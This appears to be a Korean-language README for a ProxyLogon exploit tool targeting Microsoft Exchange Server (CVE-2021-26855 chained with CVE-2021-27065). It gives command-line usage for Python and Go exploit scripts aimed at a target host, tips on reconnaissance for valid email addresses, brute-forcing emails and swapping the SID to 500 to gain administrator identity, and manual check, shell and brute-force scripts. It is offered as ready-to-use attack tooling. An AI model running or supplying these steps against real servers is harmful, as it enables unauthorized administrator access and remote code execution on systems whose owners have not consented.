ProxyLogon

ProxyLogon은 CVE-2021-26855의 공식적인 일반 이름으로, Microsoft Exchange Server의 취약점으로 인해 공격자가 인증을 우회하고 관리자로 가장할 수 있습니다. 또한 이 버그를 다른 사후 인증 임의 파일 쓰기 취약점인 CVE-2021-27065와 연결하여 코드 실행을 얻었습니다.

Python3용 ProxyLogon

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

Go용 ProxyLogon

usage:
    go run proxylogon.go -u target.com -e [email protected]

팁:

1. 유효한 이메일 주소를 찾기 위해 대상 정찰
2. 이메일을 찾지 못한 경우, 이메일 파일로 대상에 무차별 대입 공격을 시도하세요.
3. 일부 대상에서는 자동 익스플로잇이 작동하지 않을 수 있으므로, SID를 무차별 대입하여 SID=500으로 교체하세요.

수동 펜테스트

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

참고 자료

• proxylogon